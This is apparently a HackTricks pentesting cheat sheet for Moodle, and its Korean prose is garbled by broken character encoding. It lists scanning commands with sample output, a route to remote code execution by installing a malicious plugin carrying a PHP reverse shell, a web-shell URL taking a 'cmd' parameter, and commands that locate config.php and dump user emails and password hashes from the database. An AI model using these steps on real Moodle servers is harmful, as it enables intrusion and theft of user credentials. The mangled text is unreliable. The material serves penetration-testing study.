Moodle
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๋ ์ค์บ
droopescan
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
CMSMap
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
CVEs
๋๋ ์๋ ๋๊ตฌ๊ฐ ๋ฌด๋ค ๋ฒ์ ์ ์ํฅ์ ๋ฏธ์น๋ ์ทจ์ฝ์ ์ ์ฐพ๋ ๋ฐ ๋งค์ฐ ์ธ๋ชจ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ค. ๋น์ ์ ๋ค์์์ ํ์ธํ ์ ์๋ค: https://snyk.io/vuln/composer:moodle%2Fmoodle
RCE
๋น์ ์ ๊ด๋ฆฌ์ ์ญํ ์ ๊ฐ์ ธ์ผ ํ๋ฉฐ โ์ฌ์ดํธ ๊ด๋ฆฌโ ํญ ์์ ํ๋ฌ๊ทธ์ธ์ ์ค์นํ ์ ์๋ค:
.png)
๊ด๋ฆฌ์๋ผ๋ฉด ์ฌ์ ํ ์ด ์ต์ ์ ํ์ฑํํด์ผ ํ ์๋ ์๋ค. ๋ฌด๋ค ๊ถํ ์์น PoC์์ ์ด๋ป๊ฒ ํ๋์ง ๋ณผ ์ ์๋ค: https://github.com/HoangKien1020/CVE-2020-14321.
๊ทธ๋ฐ ๋ค์, ๋ค์ ํ๋ฌ๊ทธ์ธ์ ์ค์นํ ์ ์๋ค. ์ด ํ๋ฌ๊ทธ์ธ์ ๊ณ ์ ์ ์ธ pentest-monkey php rev shell์ ํฌํจํ๊ณ ์๋ค (์ ๋ก๋ํ๊ธฐ ์ ์ ์์ถ์ ํ๊ณ , revshell์ IP์ ํฌํธ๋ฅผ ๋ณ๊ฒฝํ ํ ๋ค์ ์์ถํด์ผ ํ๋ค)
๋๋ https://github.com/HoangKien1020/Moodle_RCE์์ ํ๋ฌ๊ทธ์ธ์ ์ฌ์ฉํ์ฌ โcmdโ ๋งค๊ฐ๋ณ์๋ฅผ ๊ฐ์ง ์ผ๋ฐ PHP ์ ธ์ ์ป์ ์ ์๋ค.
์ ์ฑ ํ๋ฌ๊ทธ์ธ์ ์คํํ๋ ค๋ฉด ๋ค์์ ์ ๊ทผํด์ผ ํ๋ค:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
POST
๋ฐ์ดํฐ๋ฒ ์ด์ค ์๊ฒฉ ์ฆ๋ช ์ฐพ๊ธฐ
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์๊ฒฉ ์ฆ๋ช ๋คํํ๊ธฐ
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


